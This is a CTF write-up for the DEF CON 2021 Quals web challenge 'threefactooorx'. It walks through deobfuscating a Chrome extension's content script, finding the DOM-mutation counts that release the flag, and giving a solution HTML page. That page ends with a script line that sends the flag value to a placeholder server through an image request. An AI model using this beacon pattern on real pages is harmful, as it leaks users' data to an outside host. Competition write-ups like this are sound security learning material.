aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

DEF CON CTF 2021 Quals - threefactooorx #34

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

threefactooorx

Description

This is the end of phishing. The Order of the Overflow is introducing the ultimate authentication factor, the most important one, the final one. To help the web transition to this new era of security, we are introducing a 3FA tool for testing your webpages completely isolated on our admin's browser.

Files:

3factooorx.crx

Writeup

I used CRX Viewer to open the crx file.

There are few files but only background_script.js and content_script.js are important.

background_script.js:

// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.getflag == "true")
      sendResponse({flag: "OOO{}"});
  }
);

The content of content_script is obfuscated by JavaScript Obfuscator Tool.

It's apparently a Chrome extension so I loaded and I tried to beautify the code because it's easier for me to debug.

After loaded the Chrome extension and opened a random page, it crash after few seconds. I spent about 1 hour until I realized it's because of the beautify. There is a self-protected mechanism to prevent such behavior.

The web page loaded successfully after I change it back to original content, and there is an error on the console:

Uncaught TypeError: Cannot read property 'querySelectorAll' of null

The error throw by this part of code:

chilen = _0x1e6746[_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5) + _0x3126db(-0x283, -0x277, -0x2c2, -0x29c)]('*')[_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)],

We can set a breakpoint and reload, when the debugger has been triggered, we can use console to help us see the real value:

_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5) "querySelec"

_0x3126db(-0x283, -0x277, -0x2c2, -0x29c) "torAll"

_0x3126db(-0x21d, -0x226, -0x229, -0x1e1) "length"

So the deobfuscated code is:

chilen = _0x1e6746.querySelectorAll('*').length

_0x1e6746 is null so the browser throws an error.

Let's find out what is _0x1e6746:

var _0x1e6746 = document[_0x2ca2fd(-0x227, -0x23b, -0x1e2, -0x1e8) + _0x3126db(-0x21b, -0x25d, -0x23f, -0x1de)](_0x3126db(-0x226, -0x233, -0x20a, -0x1d9));

We can use the same technique to know the original code:

var _0x1e6746 = document.getElementById('3fa')

So we can add an element with id 3fa.

After refresh the page, another error shown:

Uncaught TypeError: Cannot read property 'tagName' of null

There is something wrong in this line:

if (_0x2c0eff[_0x2ca2fd(-0x262, -0x24f, -0x2a5, -0x2a4)](document[_0x2ca2fd(-0x22c, -0x1ee, -0x234, -0x1fa) + _0x2ca2fd(-0x292, -0x27f, -0x2b2, -0x2a9)](_0x2c0eff[_0x3126db(-0x221, -0x240, -0x274, -0x257)])[_0x2ca2fd(-0x25d, -0x24e, -0x26c, -0x26d)], _0x2c0eff[_0x3126db(-0x232, -0x277, -0x218, -0x233)])) {

Set a breakpoint and use console to see the value, we can transform the code above into this:

if (_0x2c0eff['hJFjw'](document['querySelector']('#thirdfactooor')['tagName'], 'INPUT')) {

_0x2c0eff['hJFjw'] is just a function to compare it's parameters:ƒ (_0x410572,_0x33660a){return _0x410572==_0x33660a;}

So it's actually:

if (document['querySelector']('#thirdfactooor')['tagName'] === 'INPUT')){

We can add a new input element with id: thirdfactooor

Now, there is no more error.

Search for the flag

Then, I searched the keyword: flag to see if I can get some useful information. I found this part:

FLAG = _0x336e82[_0x39523f(-0x10d, -0xe8, -0x11f, -0x128)],
        console['log'](_0x10b2d5[_0x39523f(-0x134, -0xf8, -0x123, -0x14b)](_0x10b2d5[_0x5773c7(-0x1c8, -0x164, -0x1b2, -0x16c)], _0x336e82[_0x39523f(-0x151, -0x152, -0x11f, -0x146)]));
        nodesadded == 0x1 * -0x27a + 0x3 * -0x3f8 + -0x4cd * -0x3 && _0x10b2d5[_0x39523f(-0x157, -0x1ae, -0x17e, -0x1c2)](nodesdeleted, -0x1b66 + -0x14e * 0x8 + 0x25d9) && attrcharsadded == -0x2001 + -0x2 * 0x433 + 0x49 * 0x8e && _0x10b2d5['DvvtZ'](domvalue, -0xed7 * -0x1 + -0x18f0 + 0x12a5) && (document['getElement' + _0x39523f(-0xf2, -0x127, -0x132, -0x153)](_0x5773c7(-0x141, -0x1ab, -0x16f, -0x192) + _0x5773c7(-0x131, -0x15d, -0x10d, -0xc2))['value'] = _0x336e82[_0x5773c7(-0xe7, -0xda, -0x11f, -0x111)]);

We can also set a breakpoint and deobfuscate ourselves by executing those small function and get value via console.

We can ignore console.log because it has been replaced with an empty function.

FLAG = _0x336e82['flag'],
nodesadded == 5 && equal(nodesdeleted, 3) && attrcharsadded == 23 && equal(domvalue, 2188) && (document['getElementById']('thirdfactooor')['value'] = _0x336e82['flag']);

The goal is clear, we need to let nodesadded = 5, nodesdeleted = 3, attrcharsadded = 23 and domvalue = 2188. After all requirements are fulfilled, we can get flag via thirdfactooor.value.

It's not hard to find out that the values are related to the MutationObserver. So we need to manipulate the DOM including add, update attributes and delete the elements for certain times.

It's my solution in the end:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>test</title>
    <style>
      #thirdfactooor{
        width: 400px;
      }
    </style>
  </head>
  <body>
    <form id="3fa">
      wqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwd
      <div class="dd">wqdqwdqwdqwdqwdqwd</div>
      <div class="dd"></div>
      <div class="dd"></div>
      <input id="thirdfactooor"></input>
    </form>
    <script>
      for(let i=0; i<5; i++) {
        document.getElementById('3fa').name = 'abc123'
      }
      document.getElementById('3fa').dir = 'abc123'

      for(let i=0; i<5; i++) {
        document.getElementById('3fa').appendChild(new Image());
      }
      [...document.querySelectorAll('.dd')].forEach(item => {
        item.remove()
      })
      setTimeout(() => {
        (new Image).src = 'https://my_server?f=' + thirdfactooor.value
      }, 2000)
    </script>

  </body>
</html>

Submit the HTML file and I got the image with the flag(but no request to the server so I just type the flag myself):